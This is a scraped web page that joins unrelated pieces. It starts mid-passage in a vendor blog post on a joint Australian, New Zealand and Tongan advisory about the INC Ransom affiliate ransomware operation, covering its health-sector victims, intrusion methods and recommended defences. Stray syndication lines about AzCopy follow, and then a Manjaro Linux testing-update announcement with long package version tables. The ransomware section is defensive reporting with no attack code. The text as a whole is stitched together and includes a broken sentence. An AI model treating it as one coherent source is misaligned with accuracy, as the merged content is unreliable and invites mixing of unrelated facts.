What distinguishes this campaign is not only the ransomware itself, but the operational structure behind it. The INC Ransom ecosystem relies on a distributed affiliate model, enabling a broad range of cybercriminal operators to conduct attacks using shared tools and infrastructure.

The INC Ransom Affiliate Model and the RaaS Ecosystem

The operational structure of INC Ransom, which functions as a Ransomware-as-a-Service (RaaS) platform. The model allows external affiliates to deploy ransomware against victims while the core operators manage extortion negotiations and payment collection. 

INC Ransom first emerged in mid-2023 as a financially motivated cybercriminal group believed to be based in Russia. Since then, the group has built an affiliate network that distributes ransomware to attackers targeting organizations worldwide. Within this structure, affiliates perform the technical intrusion and deployment of the malware, while the core INC Ransom operators handle victim communication and ransom demands. 

The group is also known by other threat-intelligence labels, including Tarnished Scorpion and GOLD IONIC. 

According to the advisory from ACSC, NCSC, and CERT Tonga, INC Ransom operations are particularly focused on organizations that manage sensitive or high-value information. Health care providers have become a prominent target globally, likely due to the operational pressure these organizations face when systems become unavailable. 

Although earlier activity concentrated on victims in the United States and the United Kingdom, threat intelligence collected by ACSC, NCSC, and CERT Tonga indicates that the group has shifted attention toward the Pacific region since early 2025. 

INC Ransom Incidents in Australia

In Australia, ACSC has tracked a series of incidents linked to INC Ransom affiliates. 

Between 1 July 2024 and 31 December 2025, the ACSC responded to 11 incidents attributed to the ransomware operation. These incidents primarily affected organizations in professional services and the health care sector. 

Since January 2025, analysts at the ACSC have observed INC Ransom affiliates targeting Australian health care entities through compromised user accounts. Once access is obtained, attackers typically escalate privileges by creating new administrator-level accounts. They then move laterally through internal systems to expand control within the network. 

During these operations, INC Ransom affiliates have deployed malicious payloads using filenames such as “win.exe.” Investigations conducted by the ACSC have also identified cases in which attackers exfiltrated personally identifiable information and medical records before launching the encryption phase. 

Victims typically discover ransom notes containing instructions and links to the INC Ransom Tor-based data leak site (DLS) where negotiations occur. 

Health Infrastructure Disruption in Tonga 

One of the most disruptive incidents linked to INC Ransom occurred in the Kingdom of Tonga. 

On 15 June 2025, the ICT environment of the Tongan Ministry of Health was hit by a ransomware attack that disrupted the national health care network and rendered several core services inaccessible. Investigators from CERT Tonga, working with regional partners including ACSC and NCSC, discovered a ransom note associated with INC Ransom embedded within the ministry’s file systems. 

On 26 June 2025, the INC Ransom group publicly claimed responsibility for the incident on its dark-web data leak site. 

The advisory further identifies Roman Khubov, a cybercriminal also known as “blackod,” as the individual controlling the malicious infrastructure used to exfiltrate data during the Ministry of Health breach. 

Ransomware Incident in New Zealand 

Ransomware activity remains a persistent problem in New Zealand, where multiple sectors of the economy have experienced disruptions. 

In May 2025, the NCSC received a report from a health-sector organization that had suffered a major ransomware intrusion. According to the notification, attackers encrypted a large number of servers and endpoint devices while also stealing significant volumes of data. 

The NCSC investigation determined that INC Ransom was responsible for the incident. After the organization refused to meet the extortion demand, the attackers published the stolen dataset on the INC Ransom data leak site. 

The event reinforced concerns among cybersecurity officials at NCSC, ACSC, and CERT Tonga that the group’s tactics are targeting organizations whose operations are highly sensitive to disruption. 

Technical Tactics Used by INC Ransom 

Technical analysis from ACSC, NCSC, and CERT Tonga shows that INC Ransom affiliates rely on several common intrusion techniques to gain initial access to victim networks. 

The most frequently observed entry points include: 

• Spear-phishing campaigns targeting employees 

• Exploitation of unpatched internet-facing systems 

• Purchased credentials from initial access brokers 

Once inside the network, INC Ransom affiliates often rely on legitimate software tools rather than custom malware to perform key tasks. This tactic allows malicious activity to blend into normal administrative operations. 

For example: 

• 7-Zip and WinRAR are used to compress data before theft. 

• The file synchronization tool rclone is frequently used to transfer stolen data outside the network. 

After data exfiltration, attackers deploy the encryption component of INC Ransom. A ransom note is then left on affected systems with payment instructions and contact details. 

If the targeted organization refuses to pay, INC Ransom operators initiate double-extortion tactics by publishing both the victim’s name and stolen information on the group’s leak site. 

Security analysts note that the tactics, techniques, and procedures (TTPs) used by INC Ransom share similarities with other ransomware operations such as Lynx, Nemty, Nemty X, Karma, and Nokoyawa. 

Defensive Measures Recommended by ACSC, NCSC, and CERT Tonga 

The joint advisory from ACSC, NCSC, and CERT Tonga outlines several practical security measures designed to reduce the risk of INC Ransom compromise. 

Key defensive actions include: 

• Maintain Reliable Backups: Organizations should maintain regular, tested backups of critical systems and store them securely to prevent unauthorized modification or deletion. 

• Restrict Network Traffic: Network administrators should limit inbound and outbound traffic to only what is necessary for operations. Firewalls and filtering technologies can help reduce exposure to phishing campaigns and malicious attachments. 

• Harden Remote Access: Virtual private networks (VPNs) and other remote access systems should be carefully configured to ensure only authorized users can reach sensitive resources. 

• Implement Multi-Factor Authentication: The advisory from ACSC, NCSC, and CERT Tonga emphasizes implementing phishing-resistant multi-factor authentication (MFA) for internet-facing services and privileged accounts. 

• Manage Privileged Access: Administrative privileges should be tightly controlled. Unique accounts for administrators improve accountability and reduce the impact of credential compromise. 

• Maintain Strong Vulnerability Management: Regular vulnerability scanning and rapid patching of exposed systems remain critical, particularly for internet-facing services that ransomware actors commonly target. 

Growing Regional Collaboration Against the INC Ransom 

The joint advisory reflects cooperation among cybersecurity agencies across the Pacific. By sharing intelligence and incident data, organizations such as ACSC, NCSC, and CERT Tonga are building a more coordinated response to ransomware threats like INC Ransom. 

The rise of affiliate-driven ransomware operations has significantly lowered the barrier to entry for cybercriminal activity. In this environment, the INC Ransom ecosystem demonstrates how distributed attacker networks can rapidly shift focus across geographic regions. 

For organizations in Australia, New Zealand, and the Pacific islands, the advisory from the Australian Cyber Security Centre (ACSC), New Zealand National Cyber Security Centre (NCSC), and National Computer Emergency Response Team Tonga (CERT Tonga) highlights the need to strengthen access controls, monitor network activity, and maintain a tested incident response plan to limit the impact of ransomware attacks. 

Threat intelligence from Cyble helps organizations track ransomware activity, monitor dark web exposure, and identify indicators of compromise earlier. 

Schedule a demo with Cyble to see how its threat intelligence platform supports ransomware detection and response. 

References:

• https://www.cyber.gov.au/about-us/view-all-content/alerts-and-advisories/inc-ransom-affiliate-model-enabling-targeting-of-critical-networks 

• https://www.cyber.gov.au/about-us/view-all-content/news/inc-ransom-and-affiliate-network-operating-in-australia-new-zealand-and-the-pacific-island-states 

The post Australia, New Zealand, Tonga, Warn of Rising INC Ransom Attacks Targeting Pacific Networks appeared first on Cyble.

The post AzCopy Misused In Active Ransomware Data Exfiltration Campaigns appeared first on Cyber Security News.

Read more →

The post AzCopy Utility Misused for Data Exfiltration in Ongoing Ransomware Attacks appeared first on IT Security News.

Hello community, here we have another set of package updates.

Current Promotions

• Get the latest Gaming Laptop by Slimbook powered by Manjaro: Slimbook Manjaro III
• Protect your personal data, keep yourself safe with Surfshark VPN: See current promotion

Recent News

• Manjaro 26.0 Anh-Linh released
• Manjaro Summit public Alpha now available
• As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.
• As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 stable and/or 6.12 LTS (Long Term Support).
• As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 stable and/or 6.12 LTS (Long Term Support).

Notable Package Updates

• Some Kernels got updated
• Firefox 147.0.2
• Cosmic 1.0.4
• Some fixes for GNOME and python

Additional Info

Get our latest daily developer images now from Github: Plasma, GNOME, XFCE. You can get the latest stable releases of Manjaro from CDN77.

Our current supported kernels

• linux510 5.10.248
• linux515 5.15.198
• linux61 6.1.161
• linux66 6.6.122
• linux612 6.12.68
• linux618 6.18.8
• linux619 6.19.0-rc7
• linux61-rt 6.1.158_rt58
• linux66-rt 6.6.116_rt66
• linux612-rt 6.12.66_rt15
• linux617-rt 6.17.5_rt7

Package Changes (1/31/26 09:02 CET)

• testing core x86_64: 12 new and 12 removed package(s)
• testing extra x86_64: 386 new and 495 removed package(s)
• testing multilib x86_64: 6 new and 7 removed package(s)

:: Different overlay package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE             20260128             20260131
-------------------------------------------------------------------------------
                            linux612            6.12.67-1            6.12.68-1
                    linux612-headers            6.12.67-1            6.12.68-1
                            linux618             6.18.7-1             6.18.8-1
                    linux618-headers             6.18.7-1             6.18.8-1
                             linux66            6.6.121-1            6.6.122-1
                     linux66-headers            6.6.121-1            6.6.122-1


:: Different sync package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE             20260128             20260131
-------------------------------------------------------------------------------
                                curl             8.18.0-2             8.18.0-3
                             gettext               0.26-1                1.0-1
                      libcurl-compat             8.18.0-2             8.18.0-3
                      libcurl-gnutls             8.18.0-2             8.18.0-3
                        libunistring                1.3-1              1.4.1-1
                           procps-ng              4.0.5-3              4.0.6-1


:: Different overlay package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE             20260128             20260131
-------------------------------------------------------------------------------
                             asusctl              6.3.1-1              6.3.2-1
                            chromium     144.0.7559.109-1                    -
                             firefox            147.0.2-1                    -
                    firefox-i18n-ach            147.0.2-1                    -
                     firefox-i18n-af            147.0.2-1                    -
                     firefox-i18n-an            147.0.2-1                    -
                     firefox-i18n-ar            147.0.2-1                    -
                    firefox-i18n-ast            147.0.2-1                    -
                     firefox-i18n-az            147.0.2-1                    -
                     firefox-i18n-be            147.0.2-1                    -
                     firefox-i18n-bg            147.0.2-1                    -
                     firefox-i18n-bn            147.0.2-1                    -
                     firefox-i18n-br            147.0.2-1                    -
                     firefox-i18n-bs            147.0.2-1                    -
                     firefox-i18n-ca            147.0.2-1                    -
            firefox-i18n-ca-valencia            147.0.2-1                    -
                    firefox-i18n-cak            147.0.2-1                    -
                     firefox-i18n-cs            147.0.2-1                    -
                     firefox-i18n-cy            147.0.2-1                    -
                     firefox-i18n-da            147.0.2-1                    -
                     firefox-i18n-de            147.0.2-1                    -
                    firefox-i18n-dsb            147.0.2-1                    -
                     firefox-i18n-el            147.0.2-1                    -
                  firefox-i18n-en-ca            147.0.2-1                    -
                  firefox-i18n-en-gb            147.0.2-1                    -
                  firefox-i18n-en-us            147.0.2-1                    -
                     firefox-i18n-eo            147.0.2-1                    -
                  firefox-i18n-es-ar            147.0.2-1                    -
                  firefox-i18n-es-cl            147.0.2-1                    -
                  firefox-i18n-es-es            147.0.2-1                    -
                  firefox-i18n-es-mx            147.0.2-1                    -
                     firefox-i18n-et            147.0.2-1                    -
                     firefox-i18n-eu            147.0.2-1                    -
                     firefox-i18n-fa            147.0.2-1                    -
                     firefox-i18n-ff            147.0.2-1                    -
                     firefox-i18n-fi            147.0.2-1                    -
                     firefox-i18n-fr            147.0.2-1                    -
                    firefox-i18n-fur            147.0.2-1                    -
                  firefox-i18n-fy-nl            147.0.2-1                    -
                  firefox-i18n-ga-ie            147.0.2-1                    -
                     firefox-i18n-gd            147.0.2-1                    -
                     firefox-i18n-gl            147.0.2-1                    -
                     firefox-i18n-gn            147.0.2-1                    -
                  firefox-i18n-gu-in            147.0.2-1                    -
                     firefox-i18n-he            147.0.2-1                    -
                  firefox-i18n-hi-in            147.0.2-1                    -
                     firefox-i18n-hr            147.0.2-1                    -
                    firefox-i18n-hsb            147.0.2-1                    -
                     firefox-i18n-hu            147.0.2-1                    -
                  firefox-i18n-hy-am            147.0.2-1                    -
                     firefox-i18n-ia            147.0.2-1                    -
                     firefox-i18n-id            147.0.2-1                    -
                     firefox-i18n-is            147.0.2-1                    -
                     firefox-i18n-it            147.0.2-1                    -
                     firefox-i18n-ja            147.0.2-1                    -
                     firefox-i18n-ka            147.0.2-1                    -
                    firefox-i18n-kab            147.0.2-1                    -
                     firefox-i18n-kk            147.0.2-1                    -
                     firefox-i18n-km            147.0.2-1                    -
                     firefox-i18n-kn            147.0.2-1                    -
                     firefox-i18n-ko            147.0.2-1                    -
                    firefox-i18n-lij            147.0.2-1                    -
                     firefox-i18n-lt            147.0.2-1                    -
                     firefox-i18n-lv            147.0.2-1                    -
                     firefox-i18n-mk            147.0.2-1                    -
                     firefox-i18n-mr            147.0.2-1                    -
                     firefox-i18n-ms            147.0.2-1                    -
                     firefox-i18n-my            147.0.2-1                    -
                  firefox-i18n-nb-no            147.0.2-1                    -
                  firefox-i18n-ne-np            147.0.2-1                    -
                     firefox-i18n-nl            147.0.2-1                    -
                  firefox-i18n-nn-no            147.0.2-1                    -
                     firefox-i18n-oc            147.0.2-1                    -
                  firefox-i18n-pa-in            147.0.2-1                    -
                     firefox-i18n-pl            147.0.2-1                    -
                  firefox-i18n-pt-br            147.0.2-1                    -
                  firefox-i18n-pt-pt            147.0.2-1                    -
                     firefox-i18n-rm            147.0.2-1                    -
                     firefox-i18n-ro            147.0.2-1                    -
                     firefox-i18n-ru            147.0.2-1                    -
                    firefox-i18n-sat            147.0.2-1                    -
                     firefox-i18n-sc            147.0.2-1                    -
                    firefox-i18n-sco            147.0.2-1                    -
                     firefox-i18n-si            147.0.2-1                    -
                     firefox-i18n-sk            147.0.2-1                    -
                    firefox-i18n-skr            147.0.2-1                    -
                     firefox-i18n-sl            147.0.2-1                    -
                    firefox-i18n-son            147.0.2-1                    -
                     firefox-i18n-sq            147.0.2-1                    -
                     firefox-i18n-sr            147.0.2-1                    -
                  firefox-i18n-sv-se            147.0.2-1                    -
                    firefox-i18n-szl            147.0.2-1                    -
                     firefox-i18n-ta            147.0.2-1                    -
                     firefox-i18n-te            147.0.2-1                    -
                     firefox-i18n-tg            147.0.2-1                    -
                     firefox-i18n-th            147.0.2-1                    -
                     firefox-i18n-tl            147.0.2-1                    -
                     firefox-i18n-tr            147.0.2-1                    -
                    firefox-i18n-trs            147.0.2-1                    -
                     firefox-i18n-uk            147.0.2-1                    -
                     firefox-i18n-ur            147.0.2-1                    -
                     firefox-i18n-uz            147.0.2-1                    -
                     firefox-i18n-vi            147.0.2-1                    -
                     firefox-i18n-xh            147.0.2-1                    -
                  firefox-i18n-zh-cn            147.0.2-1                    -
                  firefox-i18n-zh-tw            147.0.2-1                    -
                gnome-control-center               49.3-1               49.4-1
                   gnome-keybindings               49.3-1               49.4-1
                       libfprint-git1.94.8.r74.g4bf6199-1                    -
                 libfprint-git-debug1.94.8.r74.g4bf6199-1                    -
    linux510-virtualbox-host-modules              7.2.4-6              7.2.6-1
    linux515-virtualbox-host-modules              7.2.4-6              7.2.6-1
  linux61-rt-virtualbox-host-modules              7.2.4-4              7.2.6-1
     linux61-virtualbox-host-modules              7.2.4-7              7.2.6-1
                  linux612-acpi_call             1.2.2-95             1.2.2-96
                   linux612-bbswitch               0.8-93               0.8-94
                linux612-broadcom-wl      6.30.223.271-94      6.30.223.271-95
               linux612-nvidia-390xx           390.157-95           390.157-96
               linux612-nvidia-470xx        470.256.02-95        470.256.02-96
               linux612-nvidia-570xx         570.211.01-3         570.211.01-4
          linux612-nvidia-570xx-open         570.211.01-3         570.211.01-4
               linux612-nvidia-575xx         575.64.05-22         575.64.05-23
          linux612-nvidia-575xx-open         575.64.05-22         575.64.05-23
                     linux612-nvidia          590.48.01-6          590.48.01-7
                linux612-nvidia-open          590.48.01-6          590.48.01-7
                      linux612-r8168          8.055.00-73          8.055.00-74
 linux612-rt-virtualbox-host-modules              7.2.4-4              7.2.6-1
                  linux612-rtl8723bu          20250811-30          20250811-31
                   linux612-tp_smapi              0.45-39              0.45-40
                linux612-vhba-module          20250329-56          20250329-57
    linux612-virtualbox-host-modules             7.2.4-15              7.2.6-2
                        linux612-zfs              2.3.5-9             2.3.5-10
 linux617-rt-virtualbox-host-modules              7.2.4-4              7.2.6-1
                  linux618-acpi_call             1.2.2-11             1.2.2-12
                   linux618-bbswitch               0.8-11               0.8-12
                linux618-broadcom-wl      6.30.223.271-11      6.30.223.271-12
               linux618-nvidia-390xx           390.157-11           390.157-12
               linux618-nvidia-470xx        470.256.02-11        470.256.02-12
               linux618-nvidia-570xx         570.211.01-3         570.211.01-4
          linux618-nvidia-570xx-open         570.211.01-3         570.211.01-4
               linux618-nvidia-575xx         575.64.05-11         575.64.05-12
          linux618-nvidia-575xx-open         575.64.05-11         575.64.05-12
                     linux618-nvidia          590.48.01-8          590.48.01-9
                linux618-nvidia-open          590.48.01-8          590.48.01-9
                      linux618-r8168          8.055.00-11          8.055.00-12
                  linux618-rtl8723bu          20250813-11          20250813-12
                   linux618-tp_smapi              0.45-11              0.45-12
                linux618-vhba-module          20250329-11          20250329-12
    linux618-virtualbox-host-modules             7.2.4-11              7.2.6-2
                        linux618-zfs              2.3.5-9             2.3.5-10
    linux619-virtualbox-host-modules            7.2.4-0.8            7.2.6-0.1
                   linux66-acpi_call            1.2.2-167            1.2.2-168
                    linux66-bbswitch              0.8-164              0.8-165
                 linux66-broadcom-wl     6.30.223.271-165     6.30.223.271-166
                linux66-nvidia-390xx          390.157-162          390.157-163
                linux66-nvidia-470xx       470.256.02-105       470.256.02-106
                linux66-nvidia-570xx         570.211.01-2         570.211.01-3
           linux66-nvidia-570xx-open         570.211.01-2         570.211.01-3
                linux66-nvidia-575xx         575.64.05-18         575.64.05-19
           linux66-nvidia-575xx-open         575.64.05-18         575.64.05-19
                      linux66-nvidia          590.48.01-4          590.48.01-5
                 linux66-nvidia-open          590.48.01-4          590.48.01-5
                       linux66-r8168          8.055.00-56          8.055.00-57
  linux66-rt-virtualbox-host-modules              7.2.4-6              7.2.6-1
                   linux66-rtl8723bu          20250811-25          20250811-26
                    linux66-tp_smapi              0.45-34              0.45-35
                 linux66-vhba-module          20250329-43          20250329-44
     linux66-virtualbox-host-modules             7.2.4-11              7.2.6-2
                         linux66-zfs              2.3.5-5              2.3.5-6
                           morc_menu     1.0+3+g2d89cb6-1     1.0+5+g91598f8-1
                 plasma-keyboard-git       r113.3511c9f-1                    -
                  rog-control-center              6.3.1-1              6.3.2-1
                      signal-desktop             7.87.0-1                    -
               vivaldi-ffmpeg-codecs     144.0.7559.114-1                    -


:: Different sync package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE             20260128             20260131
-------------------------------------------------------------------------------
                         389-ds-base              3.2.0-1              3.2.0-2
                          aliyun-cli              3.2.7-1              3.2.9-1
                          apostrophe                3.4-2                3.4-3
                           appstream              1.1.1-1              1.1.2-1
                        appstream-qt              1.1.1-1              1.1.2-1
                              assimp              6.0.2-1              6.0.4-1
                               avahi           1:0.9rc2-3           1:0.9rc3-1
                              bazaar              0.7.5-1              0.7.6-1
                       bbswitch-dkms              0.8-797              0.8-798
                             blender           17:5.0.1-2           17:5.0.1-3
                           borgmatic              2.1.0-1              2.1.1-1
                          bpf-linker             0.9.15-1             0.10.0-1
                        bridge-utils              1.7.1-3                    -
                          bugstalker              0.4.1-1              0.4.2-1
                            buildkit             0.27.0-1             0.27.1-1
                                 bup             0.33.9-2            0.33.10-1
                             cargo-c            0.10.19-1            0.10.20-1
                         cargo-insta             1.46.1-1             1.46.2-1
                      cargo-zigbuild             0.21.4-1             0.21.5-1
                           chess-tui              2.3.0-1              2.4.0-1
                            chromium      144.0.7559.96-1     144.0.7559.109-1
                             clojure        1.12.4.1582-1        1.12.4.1602-1
                cloudflare-speed-cli              0.6.0-1              0.6.1-1
                         cloudflared           2026.1.1-1           2026.1.2-1
                             cockpit                354-2                355-1
                    cockpit-machines                346-1                347-1
                  cockpit-packagekit                354-2                355-1
                      cockpit-podman              119.1-1                120-1
                    cockpit-storaged                354-2                355-1
                            composer              2.9.4-1              2.9.5-1
                     cool-retro-term              1.2.0-4         2.0.0beta1-2
                  cosmic-app-library            1:1.0.3-1            1:1.0.4-1
                      cosmic-applets            1:1.0.3-1            1:1.0.4-1
                           cosmic-bg            1:1.0.3-1            1:1.0.4-1
                         cosmic-comp            1:1.0.3-1            1:1.0.4-1
                        cosmic-files            1:1.0.3-1            1:1.0.4-1
                      cosmic-greeter            1:1.0.3-1            1:1.0.4-1
                   cosmic-icon-theme            1:1.0.3-1            1:1.0.4-1
                         cosmic-idle            1:1.0.3-1            1:1.0.4-1
                cosmic-initial-setup            1:1.0.3-1            1:1.0.4-1
                     cosmic-launcher            1:1.0.3-1            1:1.0.4-1
                cosmic-notifications            1:1.0.3-1            1:1.0.4-1
                          cosmic-osd            1:1.0.3-2            1:1.0.4-1
                        cosmic-panel            1:1.0.3-1            1:1.0.4-1
                       cosmic-player            1:1.0.3-1            1:1.0.4-1
                        cosmic-randr            1:1.0.3-1            1:1.0.4-1
                   cosmic-screenshot            1:1.0.3-1            1:1.0.4-1
                      cosmic-session            1:1.0.3-1            1:1.0.4-1
                     cosmic-settings            1:1.0.3-1            1:1.0.4-1
              cosmic-settings-daemon            1:1.0.3-1            1:1.0.4-1
                        cosmic-store            1:1.0.3-1            1:1.0.4-1
                     cosmic-terminal            1:1.0.3-1            1:1.0.4-1
                  cosmic-text-editor            1:1.0.3-1            1:1.0.4-1
                   cosmic-wallpapers            2:1.0.3-1            2:1.0.4-1
                   cosmic-workspaces            2:1.0.3-1            2:1.0.4-1
                             cryptol             3.3.0-37             3.3.0-38
                            cutensor            2.4.1.4-1            2.5.0.2-1
                                cyme             2.2.10-1             2.2.11-1
                                dgop             0.1.13-1              0.2.0-1
                                dolt           1:1.81.2-1           1:1.81.3-1
                 drone-runner-docker              1.8.4-1              1.8.5-1
                         easyeffects              8.1.0-1              8.1.1-1
                editorconfig-checker              3.6.0-1              3.6.1-1
                          electron38             38.7.2-1             38.8.0-1
                          electron39             39.3.0-1             39.4.0-1
                                 eog               47.0-4               49.1-1
                            eog-docs               47.0-4               49.1-1
                             esphome          2025.12.5-1           2026.1.2-1
                        feathernotes              1.3.2-1              1.4.0-1
                    feeluown-netease              1.0.6-2              1.0.7-1
                             firefox            147.0.1-1            147.0.2-1
           firefox-developer-edition            148.0b7-1            148.0b9-1
  firefox-developer-edition-i18n-ach            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-af            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-an            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-ar            148.0b7-1            148.0b9-1
  firefox-developer-edition-i18n-ast            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-az            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-be            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-bg            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-bn            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-br            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-bs            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-ca            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-ca-valencia      148.0b7-1            148.0b9-1
  firefox-developer-edition-i18n-cak            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-cs            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-cy            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-da            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-de            148.0b7-1            148.0b9-1
  firefox-developer-edition-i18n-dsb            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-el            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-en-ca            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-en-gb            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-en-us            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-eo            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-es-ar            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-es-cl            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-es-es            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-es-mx            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-et            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-eu            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-fa            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-ff            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-fi            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-fr            148.0b7-1            148.0b9-1
  firefox-developer-edition-i18n-fur            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-fy-nl            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-ga-ie            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-gd            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-gl            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-gn            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-gu-in            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-he            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-hi-in            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-hr            148.0b7-1            148.0b9-1
  firefox-developer-edition-i18n-hsb            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-hu            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-hy-am            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-ia            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-id            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-is            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-it            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-ja            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-ka            148.0b7-1            148.0b9-1
  firefox-developer-edition-i18n-kab            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-kk            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-km            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-kn            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-ko            148.0b7-1            148.0b9-1
  firefox-developer-edition-i18n-lij            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-lt            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-lv            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-mk            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-mr            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-ms            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-my            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-nb-no            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-ne-np            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-nl            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-nn-no            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-oc            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-pa-in            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-pl            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-pt-br            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-pt-pt            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-rm            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-ro            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-ru            148.0b7-1            148.0b9-1
  firefox-developer-edition-i18n-sat            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-sc            148.0b7-1            148.0b9-1
  firefox-developer-edition-i18n-sco            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-si            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-sk            148.0b7-1            148.0b9-1
  firefox-developer-edition-i18n-skr            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-sl            148.0b7-1            148.0b9-1
  firefox-developer-edition-i18n-son            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-sq            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-sr            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-sv-se            148.0b7-1            148.0b9-1
  firefox-developer-edition-i18n-szl            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-ta            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-te            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-tg            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-th            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-tl            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-tr            148.0b7-1            148.0b9-1
  firefox-developer-edition-i18n-trs            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-uk            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-ur            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-uz            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-vi            148.0b7-1            148.0b9-1
   firefox-developer-edition-i18n-xh            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-zh-cn            148.0b7-1            148.0b9-1
firefox-developer-edition-i18n-zh-tw            148.0b7-1            148.0b9-1
                    firefox-i18n-ach            147.0.1-1            147.0.2-1
                     firefox-i18n-af            147.0.1-1            147.0.2-1
                     firefox-i18n-an            147.0.1-1            147.0.2-1
                     firefox-i18n-ar            147.0.1-1            147.0.2-1
                    firefox-i18n-ast            147.0.1-1            147.0.2-1
                     firefox-i18n-az            147.0.1-1            147.0.2-1
                     firefox-i18n-be            147.0.1-1            147.0.2-1
                     firefox-i18n-bg            147.0.1-1            147.0.2-1
                     firefox-i18n-bn            147.0.1-1            147.0.2-1
                     firefox-i18n-br            147.0.1-1            147.0.2-1
                     firefox-i18n-bs            147.0.1-1            147.0.2-1
                     firefox-i18n-ca            147.0.1-1            147.0.2-1
            firefox-i18n-ca-valencia            147.0.1-1            147.0.2-1
                    firefox-i18n-cak            147.0.1-1            147.0.2-1
                     firefox-i18n-cs            147.0.1-1            147.0.2-1
                     firefox-i18n-cy            147.0.1-1            147.0.2-1
                     firefox-i18n-da            147.0.1-1            147.0.2-1
                     firefox-i18n-de            147.0.1-1            147.0.2-1
                    firefox-i18n-dsb            147.0.1-1            147.0.2-1
                     firefox-i18n-el            147.0.1-1            147.0.2-1
                  firefox-i18n-en-ca            147.0.1-1            147.0.2-1
                  firefox-i18n-en-gb            147.0.1-1            147.0.2-1
